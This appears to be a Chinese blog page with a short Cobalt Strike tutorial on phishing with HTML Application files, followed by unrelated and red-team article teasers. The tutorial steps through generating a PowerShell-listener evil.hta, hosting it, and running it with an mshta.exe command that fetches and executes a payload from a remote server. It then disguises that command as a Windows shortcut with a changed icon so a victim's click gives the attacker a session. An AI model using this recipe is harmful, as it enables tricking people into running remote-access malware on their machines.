步骤:
1、生成：Attacks -> Packages -> Html Application
2、上传：Attacks——>Web Drive by——>Host file
3、执行：C:\Windows\System32\mshta.exe http://xx.xx.xx.xx:xx/x.ext
4、伪装：
-创建快捷方式
-生成HTA并上传
-属性更改目标执行
-属性更改图标伪装
这里会用到windows中的mshta,用于执行hta文件
mshta.exe是微软Windows操作系统相关程序，英文全称Microsoft HTML Application，可翻译为微软超文本标记语言应用，用于执行.HTA文件
下面进行演示
打开已经配置好的CS
1、生成：Attacks -> Packages -> Html Application
选择设置的监听器-power shell
生成evil.hta
2、上传：Attacks——>Web Drive by——>Host file
复制生成的利用文件网址
3.创建快捷方式
4.执行：C:\Windows\System32\mshta.exe http://xx.xx.xx.xx:xx/x.ext
5.伪装(自行拓展，不做演示)
-创建快捷方式
-生成HTA并上传
-属性更改目标执行
-属性更改图标伪装(自行扩展)
点击快捷方式-快捷方式成功上线
本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/358224.shtml
如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！相关文章
基本算法研究1-冒泡排序算法测试
基本算法研究1-冒泡排序算法测试 1、经典冒泡排序法基本原理 先看一个动态图，感觉比较形象： 冒泡排序（Bubble Sort）是一种简单的排序算法。默认是从小到大排序，即把最大的数据排在最后，相当于每次把最大数据…
当margin-top、padding-top的值是百分比时，分别是如何计算的？
CSS 百分比参照问题 参照父元素宽度的元素：padding margin width text-indent 参照父元素高度的元素：height 参照父元素属性:font-size line-height 特殊：相对定位的时候，top(bottom) left(right)参照的是父元素的内容区域的高度与…
Java中的低延迟FIX引擎
总览 Chronicle FIX是我们的Low Latency FIX引擎和Java数据库。 是什么使它与众不同？ 是为Java中的超低GC *设计的。 支持字符串和日期时间的方式可以最大程度地减少垃圾和开销。 可自定义为仅包含您期望的字段。 使用通常在二进制解析器和生成器中使用的优化&…
VIJOS1212 Way Selection
题意：有 r 个人并知道他们的坐标和他们的速度，有 a 个目的地也知道坐标，规定时间为 t，求能到达目的地的最多人数(当然一个目的地只能被一个人占领)。 题解：核心算法 -> 匈牙利算法 CODE： /*
Author: JDD…
钓鱼文件名反转office远程模板
本文内容涉及程序/技术原理可能带有攻击性，仅用于安全研究和教学使用，务必在模拟环境下进行实验，请勿将其用于其他用途。因此造成的后果自行承担，如有违反国家法律则自行承担全部法律责任，与作者及分享者无关
0x01 件…
hihoCoder 1092 : Have Lunch Together
题目大意：小hi和小ho去咖啡厅喝咖啡，咖啡厅可以看作是n * m的矩阵，每个点要么为空，要么被人、障碍物、椅子所占据，小hi和小ho想要找两个相邻的椅子。起初两个人都在同一个点，求两人到达满足要求的椅子所移动…
html5测试题整理--针对标签的概念性
1.哪个元素被称为媒体元素的子元素？
答案：<track>。
<track> 标签为媒体元素（比如 <audio> and <video>）规定外部文本轨道。这个元素用于规定字幕文件或其他包含文本的文件，当媒体播放时&am…
Cobalt Strike特征修改
在红蓝对抗以及hvv等等情况下，我们都会用到 Cobalt Strike，那么它也是安全公司重点关注的对象，跟msf类似，但CS操作相对比MSF使用简单，同时也有一个强大的插件库。那么，这么红的工具，特征方面安全…
工厂模式与抽象工厂模式
1、工厂模式：定义了一组创建对象的接口，但是由子类决定要实例化的类是哪一个。工厂方法把类的实例化推迟到子类中。 现在考虑有PizzaStore有一些子类（加盟店），他们有可能对pizza的做法进行一些改良，即creat…
powershell上线详细版)
CS通过(CDN+证书)powershell上线详细版
0x00 简介
这个应该叫做域前置技术：
大致图示： 攻击流量通过CDN节点将流量转发到真实的C2服务器CDN节点ip通过识别请求的Host头进行流量转可以有效的躲避一些安全设备，也有这一定的反溯源功能，因为流量都去了CDN上
之前看了一些…
SGU185 Two shortest（最小费用最大流/最大流）
题目求一张图两条边不重复的最短路。 一开始我用费用流做。 源点到1连容量2费用0的边；所有边，连u到v和v到u容量1费用cost的边。 总共最多会增广两次，比较两次求得的费用，然后输出路径。 然而死MLE不过。。 看了题解，是…
那些操作会引起回流（reflow）？
reflow(回流)是指浏览器为了重新渲染部分或者全部的文档,重新计算文档中的元素的位置和几何构造的过程。
因为回流可能导致整个Dom树的重新构造,所以是性能的一大杀手。
以下操作会引起回流：
① 改变窗口大小
② font-size大小改变
③ 增加或者移除样式表 …
)
红蓝对抗之流量加密(Openssl加密传输、MSF流量加密、CS修改profile进行流量加密)
本篇文章转载于:https://blog.csdn.net/q20010619/article/details/122006433?utm_mediumdistribute.pc_relevant.none-task-blog-2defaultbaidujs_utm_term~default-1-122006433-blog-122810834.pc_relevant_default&spm1001.2101.3001.4242.2&utm_relevant_index4 文…
，可以设置为m+1月份的操作是？)
有var d = new Date(‘20xx-m-09‘)，可以设置为m+1月份的操作是？
setMonth(n)，这里是0-11分别对应1-12月
d.setDate(n);
n表示一个月中的一天的一个数值（1 ~ 31）:
0 为上一个月的最后一天 -1 为上一个月最后一天之前的一天 如果当月有 31 天: 32 为下个月的第一天 如果当月有 30 天:
32 为下一个月的第二…
如何以及何时使用例外
本文是我们名为“ 高级Java ”的学院课程的一部分。 本课程旨在帮助您最有效地使用Java。 它讨论了高级主题，包括对象创建，并发，序列化，反射等。 它将指导您完成Java掌握的过程！ 在这里查看 ！ 目录 1.简…
域前置 配置cdn-解决HTTPS-SSL通讯被朔源IP封锁问题
域前置 配置cdn URL
-解决HTTPS-SSL通讯被朔源IP封锁问题
https://mp.weixin.qq.com/s/MghFgegdp3l3tFE3hOvcYw
深入理解Java引用类型
深入理解Java引用类型 在Java中类型可分为两大类：值类型与引用类型。值类型就是基本数据类型（如int ,double 等），而引用类型,是指除了基本的变量类型之外的所有类型（如通过 class 定义的类型）。所有的类型在…